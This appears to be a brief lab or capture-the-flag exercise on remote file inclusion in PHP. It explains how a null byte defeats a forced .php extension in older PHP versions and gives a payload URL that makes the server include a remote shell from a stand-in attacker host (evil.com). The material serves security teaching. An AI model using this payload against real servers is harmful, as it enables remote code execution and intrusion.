This page loads templates via ?template=name and always appends .php.
Can you include a remote file despite the forced extension?
Resolved file: default.php
The server appends .php to your input. In PHP < 5.3.4, a null byte (%00) terminates the string, stripping the extension.
Try: ?template=http://evil.com/shell%00
The server would include http://evil.com/shell instead of http://evil.com/shell.php.